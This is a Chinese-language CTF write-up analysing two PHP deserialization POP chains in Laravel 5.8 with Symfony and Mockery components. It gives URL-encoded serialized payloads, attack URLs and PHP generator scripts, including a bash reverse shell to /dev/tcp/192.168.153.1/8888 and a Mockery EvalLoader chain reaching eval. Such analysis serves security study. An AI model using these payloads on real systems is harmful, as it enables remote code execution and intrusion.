Laravel POP链简析
前言
- POP链与PHP反序列化漏洞利用是密不可分的概念,反序列化漏洞相关的知识在网上有很多,这里不再赘述。本文主要对laravel的POP链简析。
基本概念
- POP(Property Oriented Programming):面向属性编程;可以与ROP类比。
- POP链(POP CHAIN):把魔术方法作为入口,然后在魔术方法中调用其他函数,通过寻找一系列函数,最后执行恶意代码,就构成了POP CHAIN 。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制反序列化的类的属性,从而执行POP CHAIN,达到利用特定漏洞的效果。
- 在构造POP链时,攻击者可以控制流程中的所有形如this->xxx的变量和相关函数。
0x00 Symfony POP链
- 此POP chain出现在2019年国赛决赛的一道web题中(原题因为出题人忘记清除访问记录导致POP链暴露,题被刷爆了XD),在laravel 5.8并且安装有symfony组件时存在POP链。
复现
1
| O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bi%3A1%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A53%3A%22bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.153.1%2F8888%200%3E%261'%22%3Bs%3A11%3A%22%00%2A%00poolHash%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00%2A%00expiry%22%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A2%3A%7Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3Bs%3A54%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00poolHash%22%3Bs%3A1%3A%221%22%3B%7D%7D
|
- 构造的对象内容如下(中间的%00不能复制,替换成了%20):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| O:47:"Symfony\Component\Cache\Adapter\TagAwareAdapter":2: { s:57:" Symfony\Component\Cache\Adapter\TagAwareAdapter deferred"; a:1: { i:1; O:33:"Symfony\Component\Cache\CacheItem":3: { s:12:" * innerItem"; s:53:"bash -c 'bash -i >& /dev/tcp/192.168.153.1/8888 0>&1'"; s:11:" * poolHash"; s:1:"1"; s:9:" * expiry"; s:1:"1"; } } s:53:"Symfony\Component\Cache\Adapter\TagAwareAdapter pool"; O:44:"Symfony\Component\Cache\Adapter\ProxyAdapter":2: { s:58:"Symfony\Component\Cache\Adapter\ProxyAdapter setInnerItem"; s:6:"system"; s:54:"Symfony\Component\Cache\Adapter\ProxyAdapter poolHash"; s:1:"1"; } }
|
- 访问:
http://192.168.153.128:10086/public/?payload=O%3A47%3A%22Symfony\Component\Cache\Adapter\TagAwareAdapter%22%3A2%3A{s%3A57%3A%22%00Symfony\Component\Cache\Adapter\TagAwareAdapter%00deferred%22%3Ba%3A1%3A{i%3A1%3BO%3A33%3A%22Symfony\Component\Cache\CacheItem%22%3A3%3A{s%3A12%3A%22%00*%00innerItem%22%3Bs%3A53%3A%22bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.153.1%2F8888%200%3E%261%27%22%3Bs%3A11%3A%22%00*%00poolHash%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00*%00expiry%22%3Bs%3A1%3A%221%22%3B}}s%3A53%3A%22%00Symfony\Component\Cache\Adapter\TagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony\Component\Cache\Adapter\ProxyAdapter%22%3A2%3A{s%3A58%3A%22%00Symfony\Component\Cache\Adapter\ProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3Bs%3A54%3A%22%00Symfony\Component\Cache\Adapter\ProxyAdapter%00poolHash%22%3Bs%3A1%3A%221%22%3B}}
即可反弹shell。
POP链跟踪
- 在进行POP链跟踪时,我尝试从构造者的角度进行解析,分析在实战中如何找到POP链。
首先,全局找出一个可以利用的魔术方法(实际寻找时,需要挨个查看,并每个深入分析),发现在 vendor\symfony\symfony\src\Symfony\Component\Cache\Adapter\TagAwareAdapter.php
中包含一个__destruct:
1 2 3 4
| public function __destruct() { $this->commit(); }
|
跟进:
1 2 3 4
| public function commit() { return $this->invalidateTags([]); }
|
跟进,由于构造了deferred,在第125行会按照deferred逐个调用,进入saveDeferred函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| public function invalidateTags(array $tags) { $ok = true; $tagsByKey = []; $invalidatedTags = []; foreach ($tags as $tag) { CacheItem::validateKey($tag); $invalidatedTags[$tag] = 0; } if ($this->deferred) { $items = $this->deferred; foreach ($items as $key => $item) { if (!$this->pool->saveDeferred($item)) { unset($this->deferred[$key]); $ok = false; } } $f = $this->getTagsByKey; $tagsByKey = $f($items); $this->deferred = []; } $tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags); $f = $this->createCacheItem; foreach ($tagsByKey as $key => $tags) { $this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key])); } $ok = $this->pool->commit() && $ok; if ($invalidatedTags) { $f = $this->invalidateTags; $ok = $f($this->tags, $invalidatedTags) && $ok; } return $ok; }
|
- 在这里需要对
this->pool
进行构造,全局找到一个类包含 saveDeferred
函数并且能够被利用;经过一番寻找,发现在 vendor\symfony\symfony\src\Symfony\Component\Cache\Adapter\ProxyAdapter.php
中存在可以利用的类(在实际寻找中,需要跟进到执行命令那一步才能确认POP链可用)。
跟进到 ProxyAdapter.php
中:
1 2 3 4
| public function saveDeferred(CacheItemInterface $item) { return $this->doSave($item, __FUNCTION__); }
|
继续跟进,在223行调用了 ($this->setInnerItem)($innerItem, $item)
(注:此语法是php7.1之后某版本的新语法,在旧版本中不能成功执行):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| private function doSave(CacheItemInterface $item, $method) { if (!$item instanceof CacheItem) { return false; } $item = (array) $item; if (null === $item["\0*\0expiry"] && 0 < $item["\0*\0defaultLifetime"]) { $item["\0*\0expiry"] = microtime(true) + $item["\0*\0defaultLifetime"]; } if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) { $innerItem = $item["\0*\0innerItem"]; } elseif ($this->pool instanceof AdapterInterface) { $f = $this->createCacheItem; $innerItem = $f($this->namespace.$item["\0*\0key"], null); } else { $innerItem = $this->pool->getItem($this->namespace.$item["\0*\0key"]); } ($this->setInnerItem)($innerItem, $item); return $this->pool->$method($innerItem); }
|
- 在此处可以动态调用函数,
$this->setInnerItem
值可控,但是 $innerItem
的值不能一眼看出可控, $innerItem
的值有多种赋值方法,实际情况下需要分析后进一步找出如何控制 $innerItem
的值。
- 注意到如下:
1 2 3
| if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) { $innerItem = $item["\0*\0innerItem"]; }
|
- 回溯到
invalidateTags
函数中,注意到 $items = $this->deferred;
,而$items
会被进一步解析到 $item
,所以此处的 $item
是可控的。在这里,需要使 $item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]
,这是什么意思呢,在PHP中,将一个对象被强行转换为array时,它的属性就会根据其是private或protected变成相应的字符串;所以在这里,还需要两个类的 poolHash
属性,使之相等,这时就能控制动态调用函数的第一个参数了。所以在这里需要在全局找到一个类,它包含有 poolHash
属性和 innerItem
属性;在这里找到的是 vendor\symfony\symfony\src\Symfony\Component\Cache\CacheItem.php
中的 CacheItem
类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| final class CacheItem implements ItemInterface { private const METADATA_EXPIRY_OFFSET = 1527506807; protected $key; protected $value; protected $isHit = false; protected $expiry; protected $defaultLifetime; protected $metadata = []; protected $newMetadata = []; protected $innerItem; protected $poolHash; protected $isTaggable = false; ......
|
此时我们已经可以做到任意调用一个函数,这个函数的第一个参数我们可以控制;这个时候,需要找到一个PHP命令执行函数,它可以有两个参数,并且只需要第一个参数就能达到RCE的效果。
system ( string $command [, int &$return_var ] ) : string
,如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。传入两个参数是可以成功调用的。
- 综合起来,控制函数名为
system
,第一个参数为待执行的函数,就可以执行系统命令。设置 $this->setInnerItem
的值为 system
, $innerItem
值为待执行的命令,从而执行了任意指令,达到RCE的目的。
简化之后的payload构造代码如下(修改自mochazz师傅的构造代码):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php namespace Symfony\Component\Cache{ final class CacheItem { protected $poolHash; protected $innerItem; public function __construct( $poolHash, $command) { $this->poolHash = $poolHash; $this->innerItem = $command; } } } namespace Symfony\Component\Cache\Adapter{ class ProxyAdapter { private $poolHash; private $setInnerItem; public function __construct($poolHash, $func) { $this->poolHash = $poolHash; $this->setInnerItem = $func; } } class TagAwareAdapter { private $deferred = []; private $pool; public function __construct($deferred, $pool) { $this->deferred = $deferred; $this->pool = $pool; } } } namespace { $cacheitem = new Symfony\Component\Cache\CacheItem(1,"bash -c 'bash -i >& /dev/tcp/192.168.153.1/8888 0>&1'"); $proxyadapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1,'system'); $tagawareadapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheitem),$proxyadapter); echo urlencode(serialize($tagawareadapter)); }
|
至此,symfony POP链寻找与调用分析完毕。
0x01 Laravel 5.8 POP链
- 在原赛题中,出题者直接把这条利用链的入口
__destruct
函数注释了。
复现
- 只需要把
vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
第57行的注释还原即可复现。
payload如下:
1
| O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A37%3A%22PhpParser%5CNode%5CScalar%5CMagicConst%5CLine%22%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3B%7D%7D%7D
|
- 访问
http://192.168.153.129:10086/public/?payload=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A37%3A%22PhpParser%5CNode%5CScalar%5CMagicConst%5CLine%22%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3B%7D%7D%7D
即可调用phpinfo
POP链分析
- 首先是入口魔术方法,
vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
第57行:
1 2 3 4
| public function __destruct() { $this->events->dispatch($this->event); }
|
这里需要寻找一个类,它包含dispatch函数并且能够被进一步利用。 在这里找到 vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php
中的Dispatcher类可以进一步利用,跟进 dispatch
:
1 2 3 4 5 6 7 8
| public function dispatch($command) { if ($this->queueResolver && $this->commandShouldBeQueued($command)) { return $this->dispatchToQueue($command); } return $this->dispatchNow($command); }
|
这里第一个条件需要满足 $this->commandShouldBeQueued($command)
,查看代码,需要 $command
必须是一个实现了 ShouldQueue
接口的类:
1 2 3 4
| protected function commandShouldBeQueued($command) { return $command instanceof ShouldQueue; }
|
在这里,找到 vendor\laravel\framework\src\Illuminate\Foundation\Console\QueuedCommand.php
中的 QueuedCommand
类是满足条件并且能够进一步利用的:
1 2 3 4
| class QueuedCommand implements ShouldQueue { ... }
|
继续跟进 return $this->dispatchToQueue($command);
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public function dispatchToQueue($command) { $connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection); if (! $queue instanceof Queue) { throw new RuntimeException('Queue resolver did not return a Queue implementation.'); } if (method_exists($command, 'queue')) { return $command->queue($queue, $command); } return $this->pushCommandToQueue($queue, $command); }
|
很容易地注意到 $queue = call_user_func($this->queueResolver, $connection);
调用了 call_user_func
,并且 $this->queueResolver
可控,回溯后也很容易发现 $command
也可控(通过 $this->event
即可控制)。所以在这里可以执行任意类包含的函数。在这里就需要找出一个类,它能够执行任意函数,
在 vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php
中出现了能够利用的类 EvalLoader
,这里的 load
函数通过eval直接执行了任意代码,并且 code
属性可控;所以可以调用该类的 load
函数,从而执行任意PHP代码;但是在之前有一个条件语句,所以在这里还需要找到两个类,第一个类具有 code
属性;第二个类有 getName
函数,用来作为第一个类的config属性:
1 2 3 4 5 6 7 8 9 10 11
| class EvalLoader implements Loader { public function load(MockDefinition $definition) { if (class_exists($definition->getClassName(), false)) { return; } eval("?>" . $definition->getCode()); } }
|
其中, getClassName
函数内容如下:
1 2 3 4
| public function getClassName() { return $this->config->getName(); }
|
在这里找到的两个类是 vendor\mockery\mockery\library\Mockery\Generator\MockDefinition.php
和 vendor\nikic\php-parser\lib\PhpParser\Node\Scalar\MagicConst\Line.php
:
1 2 3 4 5 6
| class MockDefinition { protected $config; protected $code; ... }
|
1 2 3 4 5 6 7
| class Line extends MagicConst { public function getName() : string { return '__LINE__'; } ... }
|
OK,到这里,我们一共找到了6个类,经过一系列的分析,终于能够执行任意PHP代码了;mochazz师傅给出的payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <?php namespace PhpParser\Node\Scalar\MagicConst{ class Line {} } namespace Mockery\Generator{ class MockDefinition { protected $config; protected $code; public function __construct($config, $code) { $this->config = $config; $this->code = $code; } } } namespace Mockery\Loader{ class EvalLoader{} } namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver; public function __construct($queueResolver) { $this->queueResolver = $queueResolver; } } } namespace Illuminate\Foundation\Console{ class QueuedCommand { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Illuminate\Broadcasting{ class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace{ $line = new PhpParser\Node\Scalar\MagicConst\Line(); $mockdefinition = new Mockery\Generator\MockDefinition($line,'<?php phpinfo();?>'); $evalloader = new Mockery\Loader\EvalLoader(); $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load')); $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition); $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand); echo urlencode(serialize($pendingbroadcast)); } ?>
|
至此,Laravel 5.8 POP链寻找与调用分析完毕;整个POP链较第一个POP链要复杂的多,设计到了6个类的寻找,可以想象真正构造时还是很费力的。
总结
- 在构造POP链的时候,
this->xxx
是我们可以任意赋值的。
- 如果
this->xxx
是调用的对象,则需要全局搜索,找出可以利用的类进一步分析,此时可以看作POP链进行到了下一环。
- 最后动态调用的时候,则需要阅读PHP文档,找出参数数量、位置都符合的利用函数。
- 在进行POP链构造时,需要很高的PHP功底,熟悉整个框架中能够利用的类,充分理解类相关的概念;同时,需要想象每种情况下的执行情况,对各个条件分支都有考虑。
- PHP字符串动态调用在POP链构造时一般不能起作用(在类中的属性字符串不能动态调用,除非是PHP7.1且加上括号的新语法)。
- 构造payload时,若出现protected或private属性时,可以在
__construct
函数下直接赋值避免写get、set函数组。
参考资料
- Code Reuse Attacks in PHP: Automated POP Chain Generation
- https://xz.aliyun.com/t/5911